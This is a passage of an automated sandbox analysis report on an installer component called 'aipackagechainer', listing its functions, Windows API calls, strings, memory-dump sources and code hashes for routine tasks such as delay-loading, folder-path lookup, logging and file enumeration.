                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: 6e156989a856fffb4a78f7662319947440c19fa63ca060e6c46aaab2eadce794
                                                                                                                                                                                                                                                  • Instruction ID: ea3c5f8b6116ec70f89c22eb8c5bfe729a9f9e456393ec6af1cd997352a7d16b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6e156989a856fffb4a78f7662319947440c19fa63ca060e6c46aaab2eadce794
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 51B0129167C300AD3104A2882C03C37014CC1C2F20330DA1BF40DC1240F4A45CF10532
                                                                                                                                                                                                                                                  Function 00279861 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: 9a2307003bd16b0564650746e95a4b8e25a60acd902609fec065b6d9da0928dd
                                                                                                                                                                                                                                                  • Instruction ID: 6950584f5f57df32f90ef9c59ef82e4a149c4ed4b4c24585817db9a18565bd93
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9a2307003bd16b0564650746e95a4b8e25a60acd902609fec065b6d9da0928dd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 92A001A66BD206BD3508A2956D47C3B021CC5D6F65330DA1BF50A85191A8A06CE65836
                                                                                                                                                                                                                                                  Function 00279857 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: 1bbb7dba58e8860fc57b5fbbb995b72f4fecc381357a3e1f1c66d0df76355c12
                                                                                                                                                                                                                                                  • Instruction ID: 6950584f5f57df32f90ef9c59ef82e4a149c4ed4b4c24585817db9a18565bd93
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1bbb7dba58e8860fc57b5fbbb995b72f4fecc381357a3e1f1c66d0df76355c12
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 92A001A66BD206BD3508A2956D47C3B021CC5D6F65330DA1BF50A85191A8A06CE65836
                                                                                                                                                                                                                                                  Function 002798A7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: 7f96126fefd026ff81e36169e6e1d19aca2f58e8c67ff8f3224797486d71f647
                                                                                                                                                                                                                                                  • Instruction ID: 6950584f5f57df32f90ef9c59ef82e4a149c4ed4b4c24585817db9a18565bd93
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7f96126fefd026ff81e36169e6e1d19aca2f58e8c67ff8f3224797486d71f647
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 92A001A66BD206BD3508A2956D47C3B021CC5D6F65330DA1BF50A85191A8A06CE65836
                                                                                                                                                                                                                                                  Function 00279893 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: a65d4ea83b1d4091454f976fe6981941702bebf20b936acbd4330d62de28dadd
                                                                                                                                                                                                                                                  • Instruction ID: 6950584f5f57df32f90ef9c59ef82e4a149c4ed4b4c24585817db9a18565bd93
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a65d4ea83b1d4091454f976fe6981941702bebf20b936acbd4330d62de28dadd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 92A001A66BD206BD3508A2956D47C3B021CC5D6F65330DA1BF50A85191A8A06CE65836
                                                                                                                                                                                                                                                  Function 0027989D Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: ff8a138d14229d2cabca229e2847f438678d2006a5e1a736270cad1bbf66fbe0
                                                                                                                                                                                                                                                  • Instruction ID: 6950584f5f57df32f90ef9c59ef82e4a149c4ed4b4c24585817db9a18565bd93
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ff8a138d14229d2cabca229e2847f438678d2006a5e1a736270cad1bbf66fbe0
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 92A001A66BD206BD3508A2956D47C3B021CC5D6F65330DA1BF50A85191A8A06CE65836

                                                                                                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                                                                                                  Function 0023F960 Relevance: 49.9, APIs: 11, Strings: 17, Instructions: 865libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SHGetFolderPathW.SHELL32(?,?,?,?,?,SystemFolder,0000000C), ref: 0023FB9E
                                                                                                                                                                                                                                                  • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0023FD0F
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsFolder,0000000D), ref: 0023FE29
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  • GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsVolume,0000000D), ref: 0023FF47
                                                                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104,WindowsVolume,0000000D), ref: 00240081
                                                                                                                                                                                                                                                  • SHGetSpecialFolderLocation.SHELL32(00000000,?,WindowsVolume,0000000D), ref: 00240162
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(shfolder.dll), ref: 002401F0
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,SHGetFolderPathW), ref: 00240222
                                                                                                                                                                                                                                                  • GetEnvironmentVariableW.KERNEL32(APPDATA,?,00000104), ref: 00240400
                                                                                                                                                                                                                                                  • SHGetPathFromIDListW.SHELL32(?,?), ref: 00240479
                                                                                                                                                                                                                                                  • SHGetMalloc.SHELL32(00000000), ref: 00240492
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Directory$FolderPathWindows$AddressEnvironmentFileFindFromHeapLibraryListLoadLocationMallocModuleNameProcProcessResourceSpecialSystemVariable
                                                                                                                                                                                                                                                  • String ID: APPDATA$AppDataFolder$PROGRAMFILES$ProgramFiles$ProgramFiles64Folder$ProgramFilesFolder$ProgramW6432$SETUPEXEDIR$SHGetFolderPathW$Shell32.dll$Shlwapi.dll$System32Folder$SystemFolder$TempFolder$WindowsFolder$WindowsVolume$shfolder.dll
                                                                                                                                                                                                                                                  • API String ID: 700146523-2261365735
                                                                                                                                                                                                                                                  • Opcode ID: 0f73e2efe6b8a8adbb5a16e83f00ceee65f07a35df80ec375e7644e94131878d
                                                                                                                                                                                                                                                  • Instruction ID: c2ff9ab960ca625aa624629c440d30b8ea545972c98fec1809f5d9cfb876ff5f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0f73e2efe6b8a8adbb5a16e83f00ceee65f07a35df80ec375e7644e94131878d
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 16625B71A20216CBDB24DF24DC84BEAB3B2FF55704F1545A9D90ADB291EB31DDA1CB40
                                                                                                                                                                                                                                                  Function 00238550 Relevance: 44.3, APIs: 16, Strings: 9, Instructions: 517fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(002D8B18,C0000000,00000003,00000000,00000004,00000080,00000000,4938EAB5,002D8AF4,002D8B0C,4938EAB5), ref: 002385D0
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 002385ED
                                                                                                                                                                                                                                                  • OutputDebugStringW.KERNEL32(00000000,00000020), ref: 00238666
                                                                                                                                                                                                                                                  • OutputDebugStringW.KERNEL32(00000000,?,0000001C), ref: 0023876A
                                                                                                                                                                                                                                                  • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,0000001C), ref: 002387DB
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,002D88EC,00000000,000000FF,00000000,?,0000001C), ref: 0023880B
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,000000B7,?,000000FF,00000000,002BC468,00000002), ref: 002388B6
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0000001C), ref: 002388BF
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,0000001C), ref: 00238810
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  • OutputDebugStringW.KERNEL32(00000000,?,0000001D), ref: 002389B3
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,00000002,00000000,00000000,?,0000001D), ref: 00238A39
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,0000001D), ref: 00238A44
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,002382AD,000000FC,000000FF,00000000,002BC468,00000002,?,00000000,CPU: ,00000005), ref: 00238AB8
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0000001C), ref: 00238AC1
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,000000B7,?,000000FF,00000000,002BC468,00000002), ref: 00238B46
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0000001C), ref: 00238B4F
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$BuffersFlushWrite$DebugOutputString$CreateErrorFindHeapLastPointerProcessResource
                                                                                                                                                                                                                                                  • String ID: CPU: $LOGGER->Creating LOG file at:$LOGGER->Reusing LOG file at:$LOGGER->failed to create LOG at:$OS Version: %u.%u.%u SP%u (%s) [%s]$server$workstation$x64$x86
                                                                                                                                                                                                                                                  • API String ID: 611875259-1312762833
                                                                                                                                                                                                                                                  • Opcode ID: 281a4608a761dc2c4559c1e578dd5effc5b817ce8a09d5a5181266f09321ca08
                                                                                                                                                                                                                                                  • Instruction ID: b4b9bf7cb91a6d000948581c915e98e268571284349d1980e6b53343be0bfc81
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 281a4608a761dc2c4559c1e578dd5effc5b817ce8a09d5a5181266f09321ca08
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C412AEB0A11206DFDB00DF68CC49BAABBB5EF45314F1482A9F815AB2A1EB70DD55CF50
                                                                                                                                                                                                                                                  Function 00277B30 Relevance: 32.6, APIs: 21, Instructions: 1121synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00277B8F
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00277B9A
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00278310
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00278356
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0027849A
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 00278514
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00278522
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00278882
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 002788D6
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000001,000000FF), ref: 002788EF
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 002788FA
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 00278A14
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 00278A99
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00278B32
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00278B86
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 00278C0D
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00278C21
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 00278C32
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00278C42
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 00278C74
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00278C82
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$ErrorLast$EnterEventLeave$ObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3699643388-0
                                                                                                                                                                                                                                                  • Opcode ID: b137ae5aee61f45f1afc88ee9dc91d9e06bc594fe5c054ad05cbd9fa7d0f0163
                                                                                                                                                                                                                                                  • Instruction ID: 15551997fa90875b28cef3b4df223405a5bf96ef33123dd66acd6a0dc8349c27
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b137ae5aee61f45f1afc88ee9dc91d9e06bc594fe5c054ad05cbd9fa7d0f0163
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EFB2C0B4A187428FD764CF29C584B5BFBE1BF88704F10892EE99993350DB70A855CF52
                                                                                                                                                                                                                                                  Function 00231920 Relevance: 21.4, APIs: 9, Strings: 3, Instructions: 376fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?,?), ref: 0023197F
                                                                                                                                                                                                                                                  • PathIsUNCW.SHLWAPI(?,*.*,00000000), ref: 00231A37
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,00000000,*.*,00000000), ref: 00231B8B
                                                                                                                                                                                                                                                  • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00231BA5
                                                                                                                                                                                                                                                  • GetFullPathNameW.KERNEL32(?,00000000,?,00000000), ref: 00231BD8
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00231C47
                                                                                                                                                                                                                                                  • SetLastError.KERNEL32(0000007B), ref: 00231C55
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 00231CAB
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 00231CCB
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FindPath$CloseFullName_wcsrchr$ErrorFileFirstLast
                                                                                                                                                                                                                                                  • String ID: *.*$\\?\$\\?\UNC\
                                                                                                                                                                                                                                                  • API String ID: 726989864-1700010636
                                                                                                                                                                                                                                                  • Opcode ID: c608f30f36232e7055aaca25fc093c88c5253195d40bc2e752e383ce61c6667f
                                                                                                                                                                                                                                                  • Instruction ID: 2bcdd2c1edec94abd2693aa4bc70054f24b7e0fe7173f55400ac7a946a5e66ce
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c608f30f36232e7055aaca25fc093c88c5253195d40bc2e752e383ce61c6667f
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CFD114B06206029FDB14DF68CC49BAAF7F6FF11315F108629E815DB2A0EB719934CB40
